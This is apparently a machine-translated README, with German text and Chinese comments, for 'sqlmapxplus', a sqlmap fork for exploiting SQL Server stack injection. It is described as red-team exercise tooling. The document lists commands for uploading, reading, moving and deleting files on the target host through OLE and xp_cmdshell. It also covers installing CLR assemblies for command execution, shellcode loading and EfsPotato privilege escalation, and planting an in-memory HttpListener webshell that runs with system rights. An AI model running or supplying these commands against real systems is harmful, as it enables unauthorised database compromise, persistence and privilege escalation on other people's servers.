Bei vielen regionalen Angriffs- und Verteidigungsübungen kommt es bei der SQL Server-Datenbank-Stack-Injection immer noch zu einer hohen Häufigkeit von Hole Blasts. Aufgrund einiger häufiger Einschränkungen bei Übungsszenarien, z. B. kein Zugriff auf das Netzwerk, geringe Berechtigungen, Trennung von Standort und Datenbank, Terminalschutz , Schwierigkeiten beim Online-Gehen, die Berechtigungsverwaltung ist umständlich und nur eine --os-Shell kann unsere Anforderungen nicht mehr erfüllen.
sqlmapxplus basiert auf sqlmap, öffnet das klassische Tool zur Ausnutzung von Datenbankschwachstellen erneut, verweist auf verschiedene Lösungen und fügt Methoden zur Nutzung der MSSQL-Datenbankinjektion hinzu. Derzeit ist ein Teil der zweiten Entwicklung abgeschlossen, einschließlich des Datei-Uploads von OLE und der Funktion zum automatischen Laden von Shellcode.
20240508 Update-Anweisungen : Neu hinzugefügte Funktion zum Öffnen von Ole, neue Funktion zum Lesen bestimmter Dateien, neue Funktion zum Verschieben bestimmter Dateien, neue Funktion zum Kopieren bestimmter Dateien, neue Funktion zum Löschen bestimmter Dateien, neue Funktion zum Bestimmen des Speicherorts bestimmter Dateien, neu Funktion der Speicherprozessabfragefunktion, neue Funktion zum Löschen gespeicherter Prozesse, Änderung der Ole-Upload-Methode, Änderung des Clr-Installationsprozesses, Änderung der Clr-Befehlsausführungsmethode, Beseitigung von durch chinesische Kommentare verursachten Fehlern
Ziel ist es, das Problem des Clr-Installationsfehlers zu lösen, der durch einen DLL-Übertragungsverlust während des eigentlichen Netzwerkprozesses verursacht wird (vorübergehende Lösung). Es wurde festgestellt, dass die in der ursprünglichen Funktion --install-clr verwendete Clr-DLL zu groß ist und eine große Anzahl von Injektionen vorliegt Wird im tatsächlichen Kampf häufig benötigt. Ein bestimmter Fehler führt dazu, dass die DLL nicht implementiert werden kann und der ursprüngliche Ein-Klick-Installationsprozess nicht erfolgreich durchgeführt werden kann Ermöglichen Sie dem Benutzer, die DLL-Installation basierend auf der tatsächlichen Zielsituation anzupassen und vorübergehend --check-file hinzuzufügen Die Option bestimmt, ob die DLL-Datei erfolgreich auf dem Zielhost gelandet ist. Fügen Sie vorübergehend --check-clr hinzu, um festzustellen, ob die benutzerdefinierte Funktion erfolgreich in die Datenbank geladen wurde.
Warum tritt beim Hochladen das Problem der DLL-Verstärkung auf? Durch die Konvertierung in Hexadezimalzahl und die anschließende Wiederherstellung wird die Datei beispielsweise in 41 in Hexadezimalzahl umgewandelt, wodurch sich die Größe verdoppelt.
Probleme beim Anpassen von clr (abgeschlossen) install-clr wurde dahingehend geändert, dass der benutzerdefinierte Klassenname und der benutzerdefinierte Methodenname clr_shell-Modus angegeben werden müssen im clr_shell-Modus wird wie folgt geändert: Benutzerdefinierte Funktion übergibt Parameter (abgeschlossen)
File system access: --xp-upload upload file by xp_cmdshell --ole-upload upload file by ole --check-file use xp_fileexis check file exist --ole-del delete file by ole --ole-read read file content by ole --ole-move move file by ole --ole-copy copy file by ole Operating system access: --enable-clr enable clr --disable-clr disable clr --enable-ole enable ole --check-clr check user-defined functions in the database --del-clr delete user-defined functions in the database --install-clr install clr --clr-shell clr shell --sharpshell-upload1 sharpshell upload1 --sharpshell-upload2 sharpshell upload2
über Ole :
# 开启 ole 利用功能 python sqlmap.py -r/-u xxx --enable-ole # 通过 ole 上传文件 python sqlmap.py -r/-u xxx --ole-upload local_file_path --file-dest remote_file_path # 通过 ole 删除指定文件 python sqlmap.py -r/-u xxx --ole-del remote_file_path # 通过 ole 阅读指定文件 python sqlmap.py -r/-u xxx --ole-read remote_file_path # 通过 ole 移动并重命名文件 python sqlmap.py -r/-u xxx --ole-move remote_file_path1 --file-dest remote_file_path # 通过 ole 复制文件 python sqlmap.py -r/-u xxx --ole-copy remote_file_path1 --file-dest remote_file_path2 # 通过 ole 实现的HttpListener内存马上传方式 # 默认上传至c:Windowstaskslisten.tmp.txt,需要以system权限运行 python sqlmap.py -r/-u xxx --sharpshell-upload2
weitere Funktionen:
# 通过 xp_cmdshell 上传文件 python sqlmap.py -r/-u xxx --xp-upload local_file_path --file-dest remote_file_path # 使用 xp_fileexis 来检查文件是否存在 python sqlmap.py -r/-u xxx --check-file remote_file_path # 查询数据库中是否存在用户自定义函数 python sqlmap.py -r/-u xxx --check-clr clr_function_name # 删除用户自定义函数 python sqlmap.py -r/-u xxx --del-clr clr_function_name # 通过 xp_cmdshell实现的HttpListener内存马上传方式 # 默认上传至c:Windowstaskslisten.tmp.txt,需要以system权限运行 python sqlmap.py -r/-u xxx --sharpshell-upload1
über clr :
# 开启 clr 利用功能 python sqlmap.py -r/-u xxx --enable-clr # 关闭 clr 利用功能 python sqlmap.py -r/-u xxx --disable-clr # 进入 clr 安装模式 python sqlmap.py -r/-u xxx --install-clr # 进入 clr-shell 命令交互模式 python sqlmap.py -r/-u xxx --clr-shell # clr dll 参考如下,更多其他dll请参考星球获取 # 存储过程类名Xplus,存储过程函数名需要注意大小写,分别为 # ClrExec、ClrEfsPotato、ClrDownload、ClrShellcodeLoader # 对应项目目录下单独功能的dll,分别为 clrexec.dll clrefspotato.dll clrdownload.dll clrshellcodeloader.dl
Öffentlicher Account: Cyber War
Knowledge Planet: Leitfaden für Penetrationstests
Referenzlink für die alte Version: https://mp.weixin.qq.com/s/nTYPKnl9XQLWhZ43sQV3xw
Referenzlink für die neue Version: https://mp.weixin.qq.com/s/6RpxXitEPt8rA1DFb56Oxw
https://github.com/sqlmapproject/sqlmap
https://github.com/uknowsec/SharpSQLTools
https://github.com/Anion3r/MSSQLProxy
https://mp.weixin.qq.com/s/X0cI85DdB17Wve2qzCRDbg
https://yzddmr6.com/posts/asp-net-memory-shell-httplistener/